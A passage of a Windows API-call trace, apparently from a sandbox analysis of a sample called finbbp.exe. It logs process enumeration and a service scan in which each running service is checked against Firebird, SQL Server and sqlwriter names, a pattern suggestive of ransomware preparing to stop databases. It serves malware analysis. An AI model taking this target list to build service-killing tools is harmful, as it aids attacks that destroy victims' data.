lpString2="SystemEventsBroker") returned -1 [0218.791] lstrlenW (lpString="Themes") returned 6 [0218.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0218.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0218.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0218.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0218.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0218.792] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0218.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0218.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0218.792] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0218.792] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0218.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0218.792] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0218.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0218.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0218.792] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0218.792] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0218.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6cf658 | out: hHeap=0x670000) returned 1 [0218.797] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d4 [0218.801] Process32FirstW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.802] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.802] lstrlenW (lpString="System") returned 6 [0218.802] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.803] lstrlenW (lpString="smss.exe") returned 8 [0218.803] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.803] lstrlenW (lpString="csrss.exe") returned 9 [0218.803] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.804] lstrlenW (lpString="wininit.exe") returned 11 [0218.804] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.804] lstrlenW (lpString="csrss.exe") returned 9 [0218.804] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.805] lstrlenW (lpString="winlogon.exe") returned 12 [0218.805] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.805] lstrlenW (lpString="services.exe") returned 12 [0218.805] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.806] lstrlenW (lpString="lsass.exe") returned 9 [0218.806] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0218.806] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0218.806] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0218.807] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0218.807] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.808] lstrlenW (lpString="svchost.exe") returned 11 [0218.808] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.808] lstrlenW (lpString="svchost.exe") returned 11 [0218.808] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.809] lstrlenW (lpString="dwm.exe") returned 7 [0218.809] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.809] lstrlenW (lpString="svchost.exe") returned 11 [0218.809] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.810] lstrlenW (lpString="svchost.exe") returned 11 [0218.810] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.810] lstrlenW (lpString="svchost.exe") returned 11 [0218.811] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.811] lstrlenW (lpString="svchost.exe") returned 11 [0218.811] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.812] lstrlenW (lpString="svchost.exe") returned 11 [0218.812] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.812] lstrlenW (lpString="svchost.exe") returned 11 [0218.812] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.813] lstrlenW (lpString="svchost.exe") returned 11 [0218.813] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.813] lstrlenW (lpString="svchost.exe") returned 11 [0218.814] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.814] lstrlenW (lpString="svchost.exe") returned 11 [0218.814] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.815] lstrlenW (lpString="svchost.exe") returned 11 [0218.815] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.815] lstrlenW (lpString="spoolsv.exe") returned 11 [0218.815] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0218.816] lstrlenW (lpString="taskhostw.exe") returned 13 [0218.816] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.816] lstrlenW (lpString="svchost.exe") returned 11 [0218.816] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.817] lstrlenW (lpString="audiodg.exe") returned 11 [0218.817] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0218.817] lstrlenW (lpString="sihost.exe") returned 10 [0218.817] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.818] lstrlenW (lpString="svchost.exe") returned 11 [0218.818] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0218.818] lstrlenW (lpString="MDMAgent.exe") returned 12 [0218.819] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0218.819] lstrlenW (lpString="taskhostw.exe") returned 13 [0218.819] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0218.820] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0218.820] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0218.820] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0218.820] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0218.821] lstrlenW (lpString="Memory Compression") returned 18 [0218.821] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.821] lstrlenW (lpString="explorer.exe") returned 12 [0218.821] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0218.822] lstrlenW (lpString="SearchUI.exe") returned 12 [0218.822] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0218.822] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0218.822] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0218.823] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0218.823] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.824] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0218.824] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0218.824] lstrlenW (lpString="mobsync.exe") returned 11 [0218.824] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0218.825] lstrlenW (lpString="finbbp.exe") returned 10 [0218.825] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0218.825] lstrlenW (lpString="cmd.exe") returned 7 [0218.825] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.826] lstrlenW (lpString="conhost.exe") returned 11 [0218.826] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0218.826] CloseHandle (hObject=0x2d4) returned 1 [0218.826] Sleep (dwMilliseconds=0x1f4) [0219.383] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ad638 [0219.383] EnumServicesStatusExW (in: hSCManager=0x6ad638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0219.384] GetLastError () returned 0xea [0219.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x6cf658 [0219.384] EnumServicesStatusExW (in: hSCManager=0x6ad638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6cf658, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6cf658, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0219.385] CloseServiceHandle (hSCObject=0x6ad638) returned 1 [0219.385] lstrlenW (lpString="AppXSvc") returned 7 [0219.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0219.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0219.385] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0219.385] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0219.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0219.385] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0219.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.385] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0219.385] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0219.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0219.385] lstrlenW (lpString="Audiosrv") returned 8 [0219.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0219.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0219.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0219.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0219.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0219.386] lstrlenW (lpString="BFE") returned 3 [0219.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0219.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0219.386] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0219.386] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0219.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0219.386] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0219.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0219.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0219.386] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0219.386] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0219.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0219.386] lstrlenW (lpString="CDPSvc") returned 6 [0219.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0219.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0219.386] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0219.386] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0219.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0219.386] lstrlenW (lpString="ClickToRunSvc") returned 13 [0219.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0219.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0219.386] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0219.386] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0219.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0219.387] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0219.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0219.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0219.387] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0219.387] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0219.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0219.387] lstrlenW (lpString="CryptSvc") returned 8 [0219.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0219.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0219.387] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0219.387] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0219.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0219.387] lstrlenW (lpString="DcomLaunch") returned 10 [0219.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.387] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0219.387] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0219.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0219.387] lstrlenW (lpString="DeviceAssociationService") returned 24 [0219.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0219.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0219.387] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0219.387] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0219.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0219.387] lstrlenW (lpString="Dhcp") returned 4 [0219.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0219.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0219.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0219.388] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0219.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0219.388] lstrlenW (lpString="Dnscache") returned 8 [0219.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0219.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0219.388] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0219.388] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0219.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0219.388] lstrlenW (lpString="DPS") returned 3 [0219.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0219.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0219.388] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0219.388] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0219.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0219.388] lstrlenW (lpString="DusmSvc") returned 7 [0219.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0219.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 